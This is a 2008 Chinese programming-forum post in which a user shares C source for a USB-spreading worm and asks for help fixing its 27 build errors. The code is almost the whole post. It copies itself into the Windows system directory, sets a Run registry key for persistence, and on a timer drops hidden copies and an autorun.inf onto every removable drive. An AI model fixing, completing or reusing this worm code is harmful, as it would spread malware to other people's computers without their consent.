| 网站首页 | 业界新闻 | 小组 | 威客 | 人才 | 下载频道 | 博客 | 代码贴 | 在线编程 | 编程论坛
欢迎加入我们,一同切磋技术
用户名:   
 
密 码:  
共有 702 人关注过本帖
标题:我写了个U盘传播源码`不知道错在哪里了``
只看楼主 加入收藏
doudou1992
Rank: 1
等 级:新手上路
帖 子:3
专家分:0
注 册:2008-8-20
收藏
 问题点数:0 回复次数:0 
我写了个U盘传播源码`不知道错在哪里了``
#include<windows.h>
#include "Shlwapi.h"

LRESULT CALLBACK myproc(HWND,UINT,WPARAM,LPARAM);
void setBoot();
void infect();
void CALLBACK TimerProc(HWND,UINT,UINT,DWORD);

HWND hwnd;

int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nShowCmd)
{
MSG msg;
WNDCLASS wndclass;

wndclass.cbClsExtra=0;
wndclass.cbWndExtra=0;
wndclass.hbrBackground=HBRUSH(COLOR_MENU+1);
wndclass.hCursor=LoadCursor(NULL,IDC_CROSS);
wndclass.hIcon=NULL;
wndclass.hInstance=hInstance;
wndclass.lpfnWndProc=myproc;
wndclass.lpszClassName="test";
wndclass.style=CS_VREDRAW|CS_DBLCLKS|CS_HREDRAW|CS_OWNDC;
wndclass.lpszMenuName=NULL;

RegisterClass(&wndclass);
hwnd=CreateWindow("test","test1",WS_OVERLAPPEDWINDOW,200,200,200,200,NULL,NULL,hInstance,NULL);

while(GetMessage(&msg,NULL,0,0))
{
TranslateMessage(&msg);
DispatchMessage(&msg);
}

return 0;
}

LRESULT CALLBACK myproc(HWND hwnd,UINT message,WPARAM wParam,LPARAM lParam)
{
switch(message)
{
case WM_CREATE:
setBoot();
SetTimer(hwnd,1,8000,TimerProc);
return 0;
case WM_DESTROY:
PostQuitMessage(0);
return 0;
default:
return DefWindowProc(hwnd,message,wParam,lParam);
}
}

void setBoot()
{
int pcount;
int i;
char position[512];
char fileName[]={"\\hjb.exe"};
pcount=GetSystemDirectory(position,512);
for(i=pcount;fileName[i-pcount]!='\0';i++)
{
position[i]=fileName[i-pcount];
}
position[i]='\0';

char buffer[255];

if(PathFileExists(position)==false)
{
GetModuleFileName(NULL,buffer,255);
CopyFile(buffer,position,FALSE);
}

char regname[]="Software\\Microsoft\\Windows\\CurrentVersion\\Run";
HKEY hkResult;
int rets;
rets=RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult);
rets=RegSetValueEx(hkResult,"theFile",0,REG_EXPAND_SZ,(unsigned char *)position,32);

if(rets==0)
{
RegCloseKey(hkResult);
}
}

void createINF(char drive)
{
char autorun[]={"[autorun]\nopen=hjb.exe\n"};
char path[]={"x:\\autorun.inf"};
path[0]=drive;

HANDLE inf;
unsigned long count;
inf=CreateFile(path,GENERIC_WRITE,0,NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_HIDDEN,NULL);
if(inf!=INVALID_HANDLE_VALUE)
{
WriteFile(inf,autorun,sizeof(autorun),&count,NULL);
CloseHandle(inf);
}
}

void infect()
{
char i;
char pat[255];
char buffer[255];
char fileName[]={"\\hjb.exe"};
pat[1]=':';
pat[2]='\\';
pat[3]='\0';

int j;
for(j=3;fileName[j-3]!='\0';j++)
{
pat[j]=fileName[j-3];
}
pat[j]='\0';

for(i='C';i<='Z';i++)
{
pat[0]=i;
pat[3]='\0';
if(GetDriveType(pat)==DRIVE_REMOVABLE)
{
pat[3]='\\';
GetModuleFileName(NULL,buffer,255);
CopyFile(buffer,pat,FALSE);
SetFileAttributes(pat,7);
createINF(i);
pat[3]='\0';
}
}
}

void CALLBACK TimerProc(HWND hwnd,UINT uMsg,UINT idEvent,DWORD dwTime)
{
infect();
}



----------------------------------------------------------
正在生成代码...
生成日志保存在“file://c:\Documents and Settings\Administrator\My Documents\Visual Studio 2008\Projects\s\s\Debug\BuildLog.htm”
s - 27 个错误,个警告


请高手帮我改改
搜索更多相关主题的帖子: U盘 源码 
2008-08-20 20:56
快速回复:我写了个U盘传播源码`不知道错在哪里了``
数据加载中...
 
   



关于我们 | 广告合作 | 编程中国 | 清除Cookies | TOP | 手机版

编程中国 版权所有,并保留所有权利。
Powered by Discuz, Processed in 0.032127 second(s), 8 queries.
Copyright©2004-2024, BCCN.NET, All Rights Reserved